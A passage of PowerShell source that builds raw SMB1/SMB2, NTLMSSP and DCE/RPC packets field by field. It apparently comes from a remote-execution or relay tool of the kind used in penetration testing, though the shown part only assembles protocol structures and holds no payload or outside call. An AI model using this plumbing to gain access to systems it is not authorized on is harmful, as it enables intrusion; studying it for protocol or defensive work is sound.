0x22,0x00  \r\n    }\r\n\r\n    $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMBNegotiateProtocolRequest.Add(\"WordCount\",[Byte[]](0x00))\r\n    $SMBNegotiateProtocolRequest.Add(\"ByteCount\",$byte_count)\r\n    $SMBNegotiateProtocolRequest.Add(\"RequestedDialects_Dialect_BufferFormat\",[Byte[]](0x02))\r\n    $SMBNegotiateProtocolRequest.Add(\"RequestedDialects_Dialect_Name\",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00))\r\n\r\n    if($version -ne 'SMB1')\r\n    {\r\n        $SMBNegotiateProtocolRequest.Add(\"RequestedDialects_Dialect_BufferFormat2\",[Byte[]](0x02))\r\n        $SMBNegotiateProtocolRequest.Add(\"RequestedDialects_Dialect_Name2\",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00))\r\n        $SMBNegotiateProtocolRequest.Add(\"RequestedDialects_Dialect_BufferFormat3\",[Byte[]](0x02))\r\n        $SMBNegotiateProtocolRequest.Add(\"RequestedDialects_Dialect_Name3\",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00))\r\n    }\r\n\r\n    return $SMBNegotiateProtocolRequest\r\n}\r\n\r\nfunction New-PacketSMBSessionSetupAndXRequest\r\n{\r\n    param([Byte[]]$SecurityBlob)\r\n\r\n    [Byte[]]$byte_count = [System.BitConverter]::GetBytes($SecurityBlob.Length)[0,1]\r\n    [Byte[]]$security_blob_length = [System.BitConverter]::GetBytes($SecurityBlob.Length + 5)[0,1]\r\n\r\n    $SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMBSessionSetupAndXRequest.Add(\"WordCount\",[Byte[]](0x0c))\r\n    $SMBSessionSetupAndXRequest.Add(\"AndXCommand\",[Byte[]](0xff))\r\n    $SMBSessionSetupAndXRequest.Add(\"Reserved\",[Byte[]](0x00))\r\n    $SMBSessionSetupAndXRequest.Add(\"AndXOffset\",[Byte[]](0x00,0x00))\r\n    $SMBSessionSetupAndXRequest.Add(\"MaxBuffer\",[Byte[]](0xff,0xff))\r\n    $SMBSessionSetupAndXRequest.Add(\"MaxMpxCount\",[Byte[]](0x02,0x00))\r\n    $SMBSessionSetupAndXRequest.Add(\"VCNumber\",[Byte[]](0x01,0x00))\r\n    $SMBSessionSetupAndXRequest.Add(\"SessionKey\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMBSessionSetupAndXRequest.Add(\"SecurityBlobLength\",$byte_count)\r\n    $SMBSessionSetupAndXRequest.Add(\"Reserved2\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMBSessionSetupAndXRequest.Add(\"Capabilities\",[Byte[]](0x44,0x00,0x00,0x80))\r\n    $SMBSessionSetupAndXRequest.Add(\"ByteCount\",$security_blob_length)\r\n    $SMBSessionSetupAndXRequest.Add(\"SecurityBlob\",$SecurityBlob)\r\n    $SMBSessionSetupAndXRequest.Add(\"NativeOS\",[Byte[]](0x00,0x00,0x00))\r\n    $SMBSessionSetupAndXRequest.Add(\"NativeLANManage\",[Byte[]](0x00,0x00))\r\n\r\n    return $SMBSessionSetupAndXRequest \r\n}\r\n\r\nfunction New-PacketSMBTreeConnectAndXRequest\r\n{\r\n    param([Byte[]]$Path)\r\n\r\n    [Byte[]]$path_length = $([System.BitConverter]::GetBytes($Path.Length + 7))[0,1]\r\n\r\n    $SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMBTreeConnectAndXRequest.Add(\"WordCount\",[Byte[]](0x04))\r\n    $SMBTreeConnectAndXRequest.Add(\"AndXCommand\",[Byte[]](0xff))\r\n    $SMBTreeConnectAndXRequest.Add(\"Reserved\",[Byte[]](0x00))\r\n    $SMBTreeConnectAndXRequest.Add(\"AndXOffset\",[Byte[]](0x00,0x00))\r\n    $SMBTreeConnectAndXRequest.Add(\"Flags\",[Byte[]](0x00,0x00))\r\n    $SMBTreeConnectAndXRequest.Add(\"PasswordLength\",[Byte[]](0x01,0x00))\r\n    $SMBTreeConnectAndXRequest.Add(\"ByteCount\",$path_length)\r\n    $SMBTreeConnectAndXRequest.Add(\"Password\",[Byte[]](0x00))\r\n    $SMBTreeConnectAndXRequest.Add(\"Tree\",$Path)\r\n    $SMBTreeConnectAndXRequest.Add(\"Service\",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00))\r\n\r\n    return $SMBTreeConnectAndXRequest\r\n}\r\n\r\nfunction New-PacketSMBNTCreateAndXRequest\r\n{\r\n    param([Byte[]]$NamedPipe)\r\n\r\n    [Byte[]]$named_pipe_length = $([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1]\r\n    [Byte[]]$file_name_length = $([System.BitConverter]::GetBytes($NamedPipe.Length - 1))[0,1]\r\n\r\n    $SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMBNTCreateAndXRequest.Add(\"WordCount\",[Byte[]](0x18))\r\n    $SMBNTCreateAndXRequest.Add(\"AndXCommand\",[Byte[]](0xff))\r\n    $SMBNTCreateAndXRequest.Add(\"Reserved\",[Byte[]](0x00))\r\n    $SMBNTCreateAndXRequest.Add(\"AndXOffset\",[Byte[]](0x00,0x00))\r\n    $SMBNTCreateAndXRequest.Add(\"Reserved2\",[Byte[]](0x00))\r\n    $SMBNTCreateAndXRequest.Add(\"FileNameLen\",$file_name_length)\r\n    $SMBNTCreateAndXRequest.Add(\"CreateFlags\",[Byte[]](0x16,0x00,0x00,0x00))\r\n    $SMBNTCreateAndXRequest.Add(\"RootFID\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMBNTCreateAndXRequest.Add(\"AccessMask\",[Byte[]](0x00,0x00,0x00,0x02))\r\n    $SMBNTCreateAndXRequest.Add(\"AllocationSize\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $SMBNTCreateAndXRequest.Add(\"FileAttributes\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMBNTCreateAndXRequest.Add(\"ShareAccess\",[Byte[]](0x07,0x00,0x00,0x00))\r\n    $SMBNTCreateAndXRequest.Add(\"Disposition\",[Byte[]](0x01,0x00,0x00,0x00))\r\n    $SMBNTCreateAndXRequest.Add(\"CreateOptions\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMBNTCreateAndXRequest.Add(\"Impersonation\",[Byte[]](0x02,0x00,0x00,0x00))\r\n    $SMBNTCreateAndXRequest.Add(\"SecurityFlags\",[Byte[]](0x00))\r\n    $SMBNTCreateAndXRequest.Add(\"ByteCount\",$named_pipe_length)\r\n    $SMBNTCreateAndXRequest.Add(\"Filename\",$NamedPipe)\r\n\r\n    return $SMBNTCreateAndXRequest\r\n}\r\n\r\nfunction New-PacketSMBReadAndXRequest\r\n{\r\n    $SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMBReadAndXRequest.Add(\"WordCount\",[Byte[]](0x0a))\r\n    $SMBReadAndXRequest.Add(\"AndXCommand\",[Byte[]](0xff))\r\n    $SMBReadAndXRequest.Add(\"Reserved\",[Byte[]](0x00))\r\n    $SMBReadAndXRequest.Add(\"AndXOffset\",[Byte[]](0x00,0x00))\r\n    $SMBReadAndXRequest.Add(\"FID\",[Byte[]](0x00,0x40))\r\n    $SMBReadAndXRequest.Add(\"Offset\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMBReadAndXRequest.Add(\"MaxCountLow\",[Byte[]](0x58,0x02))\r\n    $SMBReadAndXRequest.Add(\"MinCount\",[Byte[]](0x58,0x02))\r\n    $SMBReadAndXRequest.Add(\"Unknown\",[Byte[]](0xff,0xff,0xff,0xff))\r\n    $SMBReadAndXRequest.Add(\"Remaining\",[Byte[]](0x00,0x00))\r\n    $SMBReadAndXRequest.Add(\"ByteCount\",[Byte[]](0x00,0x00))\r\n\r\n    return $SMBReadAndXRequest\r\n}\r\n\r\nfunction New-PacketSMBWriteAndXRequest\r\n{\r\n    param([Byte[]]$FileID,[Int]$Length)\r\n\r\n    [Byte[]]$write_length = [System.BitConverter]::GetBytes($Length)[0,1]\r\n\r\n    $SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMBWriteAndXRequest.Add(\"WordCount\",[Byte[]](0x0e))\r\n    $SMBWriteAndXRequest.Add(\"AndXCommand\",[Byte[]](0xff))\r\n    $SMBWriteAndXRequest.Add(\"Reserved\",[Byte[]](0x00))\r\n    $SMBWriteAndXRequest.Add(\"AndXOffset\",[Byte[]](0x00,0x00))\r\n    $SMBWriteAndXRequest.Add(\"FID\",$FileID)\r\n    $SMBWriteAndXRequest.Add(\"Offset\",[Byte[]](0xea,0x03,0x00,0x00))\r\n    $SMBWriteAndXRequest.Add(\"Reserved2\",[Byte[]](0xff,0xff,0xff,0xff))\r\n    $SMBWriteAndXRequest.Add(\"WriteMode\",[Byte[]](0x08,0x00))\r\n    $SMBWriteAndXRequest.Add(\"Remaining\",$write_length)\r\n    $SMBWriteAndXRequest.Add(\"DataLengthHigh\",[Byte[]](0x00,0x00))\r\n    $SMBWriteAndXRequest.Add(\"DataLengthLow\",$write_length)\r\n    $SMBWriteAndXRequest.Add(\"DataOffset\",[Byte[]](0x3f,0x00))\r\n    $SMBWriteAndXRequest.Add(\"HighOffset\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMBWriteAndXRequest.Add(\"ByteCount\",$write_length)\r\n\r\n    return $SMBWriteAndXRequest\r\n}\r\n\r\nfunction New-PacketSMBCloseRequest\r\n{\r\n    param ([Byte[]]$FileID)\r\n\r\n    $SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMBCloseRequest.Add(\"WordCount\",[Byte[]](0x03))\r\n    $SMBCloseRequest.Add(\"FID\",$FileID)\r\n    $SMBCloseRequest.Add(\"LastWrite\",[Byte[]](0xff,0xff,0xff,0xff))\r\n    $SMBCloseRequest.Add(\"ByteCount\",[Byte[]](0x00,0x00))\r\n\r\n    return $SMBCloseRequest\r\n}\r\n\r\nfunction New-PacketSMBTreeDisconnectRequest\r\n{\r\n    $SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMBTreeDisconnectRequest.Add(\"WordCount\",[Byte[]](0x00))\r\n    $SMBTreeDisconnectRequest.Add(\"ByteCount\",[Byte[]](0x00,0x00))\r\n\r\n    return $SMBTreeDisconnectRequest\r\n}\r\n\r\nfunction New-PacketSMBLogoffAndXRequest\r\n{\r\n    $SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMBLogoffAndXRequest.Add(\"WordCount\",[Byte[]](0x02))\r\n    $SMBLogoffAndXRequest.Add(\"AndXCommand\",[Byte[]](0xff))\r\n    $SMBLogoffAndXRequest.Add(\"Reserved\",[Byte[]](0x00))\r\n    $SMBLogoffAndXRequest.Add(\"AndXOffset\",[Byte[]](0x00,0x00))\r\n    $SMBLogoffAndXRequest.Add(\"ByteCount\",[Byte[]](0x00,0x00))\r\n\r\n    return $SMBLogoffAndXRequest\r\n}\r\n\r\n#SMB2\r\n\r\nfunction New-PacketSMB2Header\r\n{\r\n    param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID)\r\n\r\n    if($Signing)\r\n    {\r\n        $flags = 0x08,0x00,0x00,0x00      \r\n    }\r\n    else\r\n    {\r\n        $flags = 0x00,0x00,0x00,0x00\r\n    }\r\n\r\n    [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID)\r\n\r\n    if($message_ID.Length -eq 4)\r\n    {\r\n        $message_ID += 0x00,0x00,0x00,0x00\r\n    }\r\n\r\n    $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMB2Header.Add(\"ProtocolID\",[Byte[]](0xfe,0x53,0x4d,0x42))\r\n    $SMB2Header.Add(\"StructureSize\",[Byte[]](0x40,0x00))\r\n    $SMB2Header.Add(\"CreditCharge\",[Byte[]](0x01,0x00))\r\n    $SMB2Header.Add(\"ChannelSequence\",[Byte[]](0x00,0x00))\r\n    $SMB2Header.Add(\"Reserved\",[Byte[]](0x00,0x00))\r\n    $SMB2Header.Add(\"Command\",$Command)\r\n    $SMB2Header.Add(\"CreditRequest\",$CreditRequest)\r\n    $SMB2Header.Add(\"Flags\",$flags)\r\n    $SMB2Header.Add(\"NextCommand\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMB2Header.Add(\"MessageID\",$message_ID)\r\n    $SMB2Header.Add(\"ProcessID\",$ProcessID)\r\n    $SMB2Header.Add(\"TreeID\",$TreeID)\r\n    $SMB2Header.Add(\"SessionID\",$SessionID)\r\n    $SMB2Header.Add(\"Signature\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n\r\n    return $SMB2Header\r\n}\r\n\r\nfunction New-PacketSMB2NegotiateProtocolRequest\r\n{\r\n    $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMB2NegotiateProtocolRequest.Add(\"StructureSize\",[Byte[]](0x24,0x00))\r\n    $SMB2NegotiateProtocolRequest.Add(\"DialectCount\",[Byte[]](0x02,0x00))\r\n    $SMB2NegotiateProtocolRequest.Add(\"SecurityMode\",[Byte[]](0x01,0x00))\r\n    $SMB2NegotiateProtocolRequest.Add(\"Reserved\",[Byte[]](0x00,0x00))\r\n    $SMB2NegotiateProtocolRequest.Add(\"Capabilities\",[Byte[]](0x40,0x00,0x00,0x00))\r\n    $SMB2NegotiateProtocolRequest.Add(\"ClientGUID\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $SMB2NegotiateProtocolRequest.Add(\"NegotiateContextOffset\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMB2NegotiateProtocolRequest.Add(\"NegotiateContextCount\",[Byte[]](0x00,0x00))\r\n    $SMB2NegotiateProtocolRequest.Add(\"Reserved2\",[Byte[]](0x00,0x00))\r\n    $SMB2NegotiateProtocolRequest.Add(\"Dialect\",[Byte[]](0x02,0x02))\r\n    $SMB2NegotiateProtocolRequest.Add(\"Dialect2\",[Byte[]](0x10,0x02))\r\n\r\n    return $SMB2NegotiateProtocolRequest\r\n}\r\n\r\nfunction New-PacketSMB2SessionSetupRequest\r\n{\r\n    param([Byte[]]$SecurityBlob)\r\n\r\n    [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1]\r\n\r\n    $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMB2SessionSetupRequest.Add(\"StructureSize\",[Byte[]](0x19,0x00))\r\n    $SMB2SessionSetupRequest.Add(\"Flags\",[Byte[]](0x00))\r\n    $SMB2SessionSetupRequest.Add(\"SecurityMode\",[Byte[]](0x01))\r\n    $SMB2SessionSetupRequest.Add(\"Capabilities\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMB2SessionSetupRequest.Add(\"Channel\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMB2SessionSetupRequest.Add(\"SecurityBufferOffset\",[Byte[]](0x58,0x00))\r\n    $SMB2SessionSetupRequest.Add(\"SecurityBufferLength\",$security_buffer_length)\r\n    $SMB2SessionSetupRequest.Add(\"PreviousSessionID\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $SMB2SessionSetupRequest.Add(\"Buffer\",$SecurityBlob)\r\n\r\n    return $SMB2SessionSetupRequest \r\n}\r\n\r\nfunction New-PacketSMB2TreeConnectRequest\r\n{\r\n    param([Byte[]]$Buffer)\r\n\r\n    [Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1]\r\n\r\n    $SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMB2TreeConnectRequest.Add(\"StructureSize\",[Byte[]](0x09,0x00))\r\n    $SMB2TreeConnectRequest.Add(\"Reserved\",[Byte[]](0x00,0x00))\r\n    $SMB2TreeConnectRequest.Add(\"PathOffset\",[Byte[]](0x48,0x00))\r\n    $SMB2TreeConnectRequest.Add(\"PathLength\",$path_length)\r\n    $SMB2TreeConnectRequest.Add(\"Buffer\",$Buffer)\r\n\r\n    return $SMB2TreeConnectRequest\r\n}\r\n\r\nfunction New-PacketSMB2CreateRequestFile\r\n{\r\n    param([Byte[]]$NamedPipe)\r\n\r\n    $name_length = ([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1]\r\n\r\n    $SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMB2CreateRequestFile.Add(\"StructureSize\",[Byte[]](0x39,0x00))\r\n    $SMB2CreateRequestFile.Add(\"Flags\",[Byte[]](0x00))\r\n    $SMB2CreateRequestFile.Add(\"RequestedOplockLevel\",[Byte[]](0x00))\r\n    $SMB2CreateRequestFile.Add(\"Impersonation\",[Byte[]](0x02,0x00,0x00,0x00))\r\n    $SMB2CreateRequestFile.Add(\"SMBCreateFlags\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $SMB2CreateRequestFile.Add(\"Reserved\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $SMB2CreateRequestFile.Add(\"DesiredAccess\",[Byte[]](0x03,0x00,0x00,0x00))\r\n    $SMB2CreateRequestFile.Add(\"FileAttributes\",[Byte[]](0x80,0x00,0x00,0x00))\r\n    $SMB2CreateRequestFile.Add(\"ShareAccess\",[Byte[]](0x01,0x00,0x00,0x00))\r\n    $SMB2CreateRequestFile.Add(\"CreateDisposition\",[Byte[]](0x01,0x00,0x00,0x00))\r\n    $SMB2CreateRequestFile.Add(\"CreateOptions\",[Byte[]](0x40,0x00,0x00,0x00))\r\n    $SMB2CreateRequestFile.Add(\"NameOffset\",[Byte[]](0x78,0x00))\r\n    $SMB2CreateRequestFile.Add(\"NameLength\",$name_length)\r\n    $SMB2CreateRequestFile.Add(\"CreateContextsOffset\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMB2CreateRequestFile.Add(\"CreateContextsLength\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMB2CreateRequestFile.Add(\"Buffer\",$NamedPipe)\r\n\r\n    return $SMB2CreateRequestFile\r\n}\r\n\r\nfunction New-PacketSMB2ReadRequest\r\n{\r\n    param ([Byte[]]$FileID)\r\n\r\n    $SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMB2ReadRequest.Add(\"StructureSize\",[Byte[]](0x31,0x00))\r\n    $SMB2ReadRequest.Add(\"Padding\",[Byte[]](0x50))\r\n    $SMB2ReadRequest.Add(\"Flags\",[Byte[]](0x00))\r\n    $SMB2ReadRequest.Add(\"Length\",[Byte[]](0x00,0x00,0x10,0x00))\r\n    $SMB2ReadRequest.Add(\"Offset\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $SMB2ReadRequest.Add(\"FileID\",$FileID)\r\n    $SMB2ReadRequest.Add(\"MinimumCount\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMB2ReadRequest.Add(\"Channel\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMB2ReadRequest.Add(\"RemainingBytes\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMB2ReadRequest.Add(\"ReadChannelInfoOffset\",[Byte[]](0x00,0x00))\r\n    $SMB2ReadRequest.Add(\"ReadChannelInfoLength\",[Byte[]](0x00,0x00))\r\n    $SMB2ReadRequest.Add(\"Buffer\",[Byte[]](0x30))\r\n\r\n    return $SMB2ReadRequest\r\n}\r\n\r\nfunction New-PacketSMB2WriteRequest\r\n{\r\n    param([Byte[]]$FileID,[Int]$RPCLength)\r\n\r\n    [Byte[]]$write_length = [System.BitConverter]::GetBytes($RPCLength)\r\n\r\n    $SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMB2WriteRequest.Add(\"StructureSize\",[Byte[]](0x31,0x00))\r\n    $SMB2WriteRequest.Add(\"DataOffset\",[Byte[]](0x70,0x00))\r\n    $SMB2WriteRequest.Add(\"Length\",$write_length)\r\n    $SMB2WriteRequest.Add(\"Offset\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $SMB2WriteRequest.Add(\"FileID\",$FileID)\r\n    $SMB2WriteRequest.Add(\"Channel\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMB2WriteRequest.Add(\"RemainingBytes\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMB2WriteRequest.Add(\"WriteChannelInfoOffset\",[Byte[]](0x00,0x00))\r\n    $SMB2WriteRequest.Add(\"WriteChannelInfoLength\",[Byte[]](0x00,0x00))\r\n    $SMB2WriteRequest.Add(\"Flags\",[Byte[]](0x00,0x00,0x00,0x00))\r\n\r\n    return $SMB2WriteRequest\r\n}\r\n\r\nfunction New-PacketSMB2CloseRequest\r\n{\r\n    param ([Byte[]]$FileID)\r\n\r\n    $SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMB2CloseRequest.Add(\"StructureSize\",[Byte[]](0x18,0x00))\r\n    $SMB2CloseRequest.Add(\"Flags\",[Byte[]](0x00,0x00))\r\n    $SMB2CloseRequest.Add(\"Reserved\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SMB2CloseRequest.Add(\"FileID\",$FileID)\r\n\r\n    return $SMB2CloseRequest\r\n}\r\n\r\nfunction New-PacketSMB2TreeDisconnectRequest\r\n{\r\n    $SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMB2TreeDisconnectRequest.Add(\"StructureSize\",[Byte[]](0x04,0x00))\r\n    $SMB2TreeDisconnectRequest.Add(\"Reserved\",[Byte[]](0x00,0x00))\r\n\r\n    return $SMB2TreeDisconnectRequest\r\n}\r\n\r\nfunction New-PacketSMB2SessionLogoffRequest\r\n{\r\n    $SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SMB2SessionLogoffRequest.Add(\"StructureSize\",[Byte[]](0x04,0x00))\r\n    $SMB2SessionLogoffRequest.Add(\"Reserved\",[Byte[]](0x00,0x00))\r\n\r\n    return $SMB2SessionLogoffRequest\r\n}\r\n\r\n#NTLM\r\n\r\nfunction New-PacketNTLMSSPNegotiate\r\n{\r\n    param([Byte[]]$NegotiateFlags,[Byte[]]$Version)\r\n\r\n    [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0]\r\n    [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32\r\n    [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22\r\n    [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20\r\n    [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2\r\n\r\n    $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $NTLMSSPNegotiate.Add(\"InitialContextTokenID\",[Byte[]](0x60))\r\n    $NTLMSSPNegotiate.Add(\"InitialcontextTokenLength\",$ASN_length_1)\r\n    $NTLMSSPNegotiate.Add(\"ThisMechID\",[Byte[]](0x06))\r\n    $NTLMSSPNegotiate.Add(\"ThisMechLength\",[Byte[]](0x06))\r\n    $NTLMSSPNegotiate.Add(\"OID\",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02))\r\n    $NTLMSSPNegotiate.Add(\"InnerContextTokenID\",[Byte[]](0xa0))\r\n    $NTLMSSPNegotiate.Add(\"InnerContextTokenLength\",$ASN_length_2)\r\n    $NTLMSSPNegotiate.Add(\"InnerContextTokenID2\",[Byte[]](0x30))\r\n    $NTLMSSPNegotiate.Add(\"InnerContextTokenLength2\",$ASN_length_3)\r\n    $NTLMSSPNegotiate.Add(\"MechTypesID\",[Byte[]](0xa0))\r\n    $NTLMSSPNegotiate.Add(\"MechTypesLength\",[Byte[]](0x0e))\r\n    $NTLMSSPNegotiate.Add(\"MechTypesID2\",[Byte[]](0x30))\r\n    $NTLMSSPNegotiate.Add(\"MechTypesLength2\",[Byte[]](0x0c))\r\n    $NTLMSSPNegotiate.Add(\"MechTypesID3\",[Byte[]](0x06))\r\n    $NTLMSSPNegotiate.Add(\"MechTypesLength3\",[Byte[]](0x0a))\r\n    $NTLMSSPNegotiate.Add(\"MechType\",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a))\r\n    $NTLMSSPNegotiate.Add(\"MechTokenID\",[Byte[]](0xa2))\r\n    $NTLMSSPNegotiate.Add(\"MechTokenLength\",$ASN_length_4)\r\n    $NTLMSSPNegotiate.Add(\"NTLMSSPID\",[Byte[]](0x04))\r\n    $NTLMSSPNegotiate.Add(\"NTLMSSPLength\",$NTLMSSP_length)\r\n    $NTLMSSPNegotiate.Add(\"Identifier\",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))\r\n    $NTLMSSPNegotiate.Add(\"MessageType\",[Byte[]](0x01,0x00,0x00,0x00))\r\n    $NTLMSSPNegotiate.Add(\"NegotiateFlags\",$NegotiateFlags)\r\n    $NTLMSSPNegotiate.Add(\"CallingWorkstationDomain\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $NTLMSSPNegotiate.Add(\"CallingWorkstationName\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n\r\n    if($Version)\r\n    {\r\n        $NTLMSSPNegotiate.Add(\"Version\",$Version)\r\n    }\r\n\r\n    return $NTLMSSPNegotiate\r\n}\r\n\r\nfunction New-PacketNTLMSSPAuth\r\n{\r\n    param([Byte[]]$NTLMResponse)\r\n\r\n    [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0]\r\n    [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0]\r\n    [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0]\r\n    [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0]\r\n\r\n    $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $NTLMSSPAuth.Add(\"ASNID\",[Byte[]](0xa1,0x82))\r\n    $NTLMSSPAuth.Add(\"ASNLength\",$ASN_length_1)\r\n    $NTLMSSPAuth.Add(\"ASNID2\",[Byte[]](0x30,0x82))\r\n    $NTLMSSPAuth.Add(\"ASNLength2\",$ASN_length_2)\r\n    $NTLMSSPAuth.Add(\"ASNID3\",[Byte[]](0xa2,0x82))\r\n    $NTLMSSPAuth.Add(\"ASNLength3\",$ASN_length_3)\r\n    $NTLMSSPAuth.Add(\"NTLMSSPID\",[Byte[]](0x04,0x82))\r\n    $NTLMSSPAuth.Add(\"NTLMSSPLength\",$NTLMSSP_length)\r\n    $NTLMSSPAuth.Add(\"NTLMResponse\",$NTLMResponse)\r\n\r\n    return $NTLMSSPAuth\r\n}\r\n\r\n#RPC\r\n\r\nfunction New-PacketRPCBind\r\n{\r\n    param([Byte[]]$FragLength,[Int]$CallID,[Byte[]]$NumCtxItems,[Byte[]]$ContextID,[Byte[]]$UUID,[Byte[]]$UUIDVersion)\r\n\r\n    [Byte[]]$call_ID = [System.BitConverter]::GetBytes($CallID)\r\n\r\n    $RPCBind = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $RPCBind.Add(\"Version\",[Byte[]](0x05))\r\n    $RPCBind.Add(\"VersionMinor\",[Byte[]](0x00))\r\n    $RPCBind.Add(\"PacketType\",[Byte[]](0x0b))\r\n    $RPCBind.Add(\"PacketFlags\",[Byte[]](0x03))\r\n    $RPCBind.Add(\"DataRepresentation\",[Byte[]](0x10,0x00,0x00,0x00))\r\n    $RPCBind.Add(\"FragLength\",$FragLength)\r\n    $RPCBind.Add(\"AuthLength\",[Byte[]](0x00,0x00))\r\n    $RPCBind.Add(\"CallID\",$call_ID)\r\n    $RPCBind.Add(\"MaxXmitFrag\",[Byte[]](0xb8,0x10))\r\n    $RPCBind.Add(\"MaxRecvFrag\",[Byte[]](0xb8,0x10))\r\n    $RPCBind.Add(\"AssocGroup\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $RPCBind.Add(\"NumCtxItems\",$NumCtxItems)\r\n    $RPCBind.Add(\"Unknown\",[Byte[]](0x00,0x00,0x00))\r\n    $RPCBind.Add(\"ContextID\",$ContextID)\r\n    $RPCBind.Add(\"NumTransItems\",[Byte[]](0x01))\r\n    $RPCBind.Add(\"Unknown2\",[Byte[]](0x00))\r\n    $RPCBind.Add(\"Interface\",$UUID)\r\n    $RPCBind.Add(\"InterfaceVer\",$UUIDVersion)\r\n    $RPCBind.Add(\"InterfaceVerMinor\",[Byte[]](0x00,0x00))\r\n    $RPCBind.Add(\"TransferSyntax\",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60))\r\n    $RPCBind.Add(\"TransferSyntaxVer\",[Byte[]](0x02,0x00,0x00,0x00))\r\n\r\n    if($NumCtxItems[0] -eq 2)\r\n    {\r\n        